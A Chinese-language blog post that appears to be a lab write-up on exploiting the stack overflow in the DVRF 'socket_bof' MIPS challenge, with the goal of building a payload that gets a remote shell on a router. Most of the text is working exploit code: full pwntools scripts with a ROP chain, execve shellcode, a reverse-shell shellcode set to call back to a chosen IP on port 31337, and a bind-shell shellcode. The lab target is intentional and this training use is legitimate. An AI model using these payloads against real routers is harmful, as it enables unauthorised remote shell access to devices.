路由器漏洞挖掘之栈溢出 - 反弹shell的payload构造

前言

前一篇讲到了 ROP 链的构造,最后直接使用调用 execve 函数的 shellcode 就可以直接 getshell,但是实际路由器溢出的情况下都不会那么简单。

这里再看一道 DVRF 的题,这道题是 pwnable/ShellCode_Required 下的 socket_bof

漏洞分析

直接查看源码:

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

// Pwnable Socket Program
// By b1ack0wl
// Stack Overflow
 
int main(int argc, char **argv[])
{

if (argc <2){

printf("Usage: %s port_number - by b1ack0wl\n", argv[0]);
exit(1);

}
 
    char str[500] = "\0";
    char endstr[50] = "\0";
    int listen_fd, comm_fd;
    int retval = 0;
    int option = 1;
 
    struct sockaddr_in servaddr;
 
    listen_fd = socket(AF_INET, SOCK_STREAM, 0);
 
    bzero( &servaddr, sizeof(servaddr));
 
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = htons(INADDR_ANY);
    servaddr.sin_port = htons(atoi(argv[1]));
	printf("Binding to port %i\n", atoi(argv[1]));
 
    retval = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
	if (retval == -1){
	printf("Error Binding to port %i\n", atoi(argv[1]));
	 exit(1);}

   if(setsockopt(listen_fd, SOL_SOCKET,SO_REUSEADDR, (char*)&option, sizeof(option)) < 0){
	printf("Setsockopt failed :(\n");
	close(listen_fd);
	exit(2);
}


    listen(listen_fd, 2);
 
    comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL);
 
        bzero(str, 500);
	write(comm_fd, "Send Me Bytes:",14);
        read(comm_fd,str,500);
	sprintf(endstr, "nom nom nom, you sent me %s", str);
 	printf("Sent back - %s",str);
        write(comm_fd, endstr, strlen(endstr)+1);
	shutdown(comm_fd, SHUT_RDWR);
	shutdown(listen_fd, SHUT_RDWR);
	close(comm_fd);
	close(listen_fd);
return 0x42;
}

同样这里可以发现一处 sprintf 的栈溢出,把程序放入 IDA 中进行分析

0x00400D2C 处调用了 sprintf 函数,将格式化后的字符串直接放到大小为 0x50 的栈上,我们的输入如果大于 0x50 的话就会产生栈溢出,这样我们就可以控制返回地址。

这里和上一道题相似,同样这里需要我们使用 ROP 链来构造一个 payload

但是这里不同的是,这里我们是通过端口访问的。如果我们这里 getshell 了,这个 shell 还是在服务端的,我们是无法访问的。所以这里我们需要构造一个通过端口能访问到的 shellcode

这里我们希望的效果是可以直接反弹 shell ,或者使得 shellcode 能够使服务端在远程某个端口开启一个 shell ,我们就可以通过这个端口连接上,进而获取 shell

gdb 调试方法

这里因为程序是开了一个 socket 端口,调试方法稍微有点不太一样。但是还是可以用 attach 的方法来调试

具体的方法是:

  1. 先把程序用 qemu 跑起来,附加调试端口为 23946
  2. gdb-multiarch 连接上 23946 端口:target remote :23946,程序断在 _start 函数处,在 0x00400E1C 处下一个断点(也就是 lw $ra, 0x270+var_4($sp) 的地方),c 继续运行

  1. 再新开一个终端,nc 连接上之后,send payload 之后就可以在 gdb 中进行调试了。

确定偏移

控制 ra 之前还是需要先确定偏移地址。这边还是使用 patternLocOffset.py 工具来确定偏移,

python patternLocOffset.py -c -l 500 -f test2

python patternLocOffset.py -s  0x41376241 -l 500

可以看到偏移是 51,后面的四个字节需要填充的 ra 寄存器的值。

构造 payload

根据上一篇 ROP 链构造的思路,我们同样可以用原来的 ROP 链来进行利用,这里不同的地方是 shellcode 的差异,我们需要构造一个能够从端口访问的 shellcode 或者直接使用 socket 弹回一个 shell

  • 在实际的路由器漏洞挖掘过程中,一般的栈溢出使用 system 函数来 getshell 都会存在问题,所以只能另辟蹊径。

所以这里的重点是 shellcode 构造


我们先用原来的 exp 试试效果:

#!/usr/bin/python
from pwn import *

context.arch = 'mips'
context.endian = 'little'

libc_addr = 0x766e5000
sleep_offset = 0x0002F2B0
# sleep_end_addr = 0x767144c8


shellcode = ""


shellcode += "\xff\xff\x06\x28"  # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c"  # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c"  # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf"  # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)
shellcode += "\xf4\xff\xa4\x27"  # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28"  # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01"  # syscall 0x40404



payload = 'a' * 51
payload += p32(libc_addr + 0xAfe0)	# jr $ra


payload += 'b' * (0x3c - 4 * 9)
payload += 'a' * 4                               # s0
payload += p32(libc_addr + 0x21C34)              # s1
payload += 'a' * 4                               # s2
payload += p32(libc_addr + sleep_offset)         # s3
payload += 'a' * 4                               # s4
payload += 'a' * 4                               # s5
payload += 'a' * 4                               # s6
payload += 'a' * 4                               # s7
payload += 'a' * 4                               # fp
payload += p32(libc_addr + 0x2FB10)              # ra


#---------------stack 2-------------------

payload += 'c' * 0x24
payload += p32(libc_addr + 0x000214A0)           # s3
payload += 'd' * 4                               # s4
payload += p32(libc_addr + 0xAfe0)               # ra

#---------------stack 3-------------------
payload += 'a' * (0x3c-4*9)
payload += p32(libc_addr + 0x000214A0)	   # s0
payload += 'a' * 4                               # s1
payload += 'a' * 4                               # s2
payload += 'a' * 4                               # s3
payload += 'a' * 4                               # s4
payload += 'a' * 4                               # s5
payload += 'a' * 4                               # s6
payload += 'a' * 4                               # s7
payload += 'a' * 4                               # fp
payload += p32(libc_addr + 0x0001B230)           # ra


payload += 'f' * 0x28
payload += shellcode


r = remote('127.0.0.1',55555)
r.recvuntil('Send Me Bytes:')

r.sendline(payload)

r.interactive()

运行起来,在服务端可以看到,这里确实可以 getshell

shellcode 的选择和构造

这里的 shellcode 可以选择两种类型,一种是在本地传一个 shell 绑定到某个端口,另一种是直接反弹 shell

这里的 shellcode 可以自己开发,也可以直接用网上现成的。自己开发的话比较耗时难度也比较大,这边就直接使用这里的

反弹 shell

先选择一个反弹 shellshellcode,在下面这个链接中,可以看到这边是将 shell 反弹到了 192.168.1.177 这个 ip 的 31337 端口。

http://shell-storm.org/shellcode/files/shellcode-860.php

我们使用的话之直接更改他的 ip 地址就行了,也就是对 li $a1, 0xB101A8C0 #192.168.1.177 这条汇编指令进行更改。

如何更改呢?这边就需要用到 pwntoolsasm 函数。

首先,我们需要把目的 ip 地址转化为 16 进制,这里就拿笔者本机来演示。这里我本机的 IP 是 192.168.123.158

转化成 16 进制为:0x9e7ba8c0

那么这里的汇编语句就是:li $a1,0x9e7ba8c0

导入 pwntools.asm 函数中:

得到相应汇编语句的 hex 值,替换掉 payload 原来的 hex 值就行了。即:

stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
#stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"          # 192.168.1.177
stg3_SC += "\xf8\xff\xa5\xaf\x7b\x9e\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"           # 192.168.123.158
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"

nc 监听 31337 端口,运行 exp 成功反弹一个 shell

绑定到相应端口

这里的 shellcode 使用这里的:
http://shell-storm.org/shellcode/files/shellcode-81.php

也就是开启一个 bash 监听本地的 4919 端口。

bind_port_shellcode = "\xe0\xff\xbd\x27\xfd\xff\x0e\x24\x27\x20\xc0\x01\x27\x28\xc0\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\xff\xff\x50\x30\xef\xff\x0e\x24\x27\x70\xc0\x01\x13\x37\x0d\x24\x04\x68\xcd\x01\xff\xfd\x0e\x24\x27\x70\xc0\x01\x25\x68\xae\x01\xe0\xff\xad\xaf\xe4\xff\xa0\xaf\xe8\xff\xa0\xaf\xec\xff\xa0\xaf\x25\x20\x10\x02\xef\xff\x0e\x24\x27\x30\xc0\x01\xe0\xff\xa5\x23\x49\x10\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\x01\x01\x05\x24\x4e\x10\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05\x28\xff\xff\x06\x28\x48\x10\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\xff\xff\x50\x30\x25\x20\x10\x02\xfd\xff\x0f\x24\x27\x28\xe0\x01\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\x01\x01\x05\x28\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05\x28\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xdb\xff\x0f\x24\x27\x78\xe0\x01\x21\x20\xef\x03\xf0\xff\xa4\xaf\xf4\xff\xa0\xaf\xf0\xff\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh"

直接替换原来 payload

但是这里有点问题,执行完 exp 却开启了别的端口,直接连接上去程序会直接崩溃。所以还是使用上面反弹 shell 的 exp 吧。

exp

#!/usr/bin/python
from pwn import *

context.arch = 'mips'
context.endian = 'little'

libc_addr = 0x766e5000
sleep_offset = 0x0002F2B0

stg3_SC = ""
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
stg3_SC += "\xf8\xff\xa5\xaf\x7b\x9e\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf" 		# 192.168.123.158
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"



payload = 'a' * 51
payload += p32(libc_addr + 0xAfe0)	# jr $ra


payload += 'b' * (0x3c - 4 * 9)
payload += 'a' * 4                               # s0
payload += p32(libc_addr + 0x21C34)              # s1
payload += 'a' * 4                               # s2
payload += p32(libc_addr + sleep_offset)         # s3
payload += 'a' * 4                               # s4
payload += 'a' * 4                               # s5
payload += 'a' * 4                               # s6
payload += 'a' * 4                               # s7
payload += 'a' * 4                               # fp
payload += p32(libc_addr + 0x2FB10)              # ra


#---------------stack 2-------------------

payload += 'c' * 0x24
payload += p32(libc_addr + 0x000214A0)           # s3
payload += 'd' * 4                               # s4
payload += p32(libc_addr + 0xAfe0)               # ra

#---------------stack 3-------------------
payload += 'a' * (0x3c-4*9)
payload += p32(libc_addr + 0x000214A0)	   # s0
payload += 'a' * 4                               # s1
payload += 'a' * 4                               # s2
payload += 'a' * 4                               # s3
payload += 'a' * 4                               # s4
payload += 'a' * 4                               # s5
payload += 'a' * 4                               # s6
payload += 'a' * 4                               # s7
payload += 'a' * 4                               # fp
payload += p32(libc_addr + 0x0001B230)           # ra


payload += 'f' * 0x28
payload += stg3_SC

r = remote('127.0.0.1',55555)
r.recvuntil('Send Me Bytes:')

r.sendline(payload)

r.interactive()

总结

在实际的路由器栈溢出时,如果执行 execve 函数没办法 getshell 时,可以试试上面反弹 shell 的方式。

posted @ 2019-03-22 19:08  H4lo  阅读(719)  评论(0编辑  收藏  举报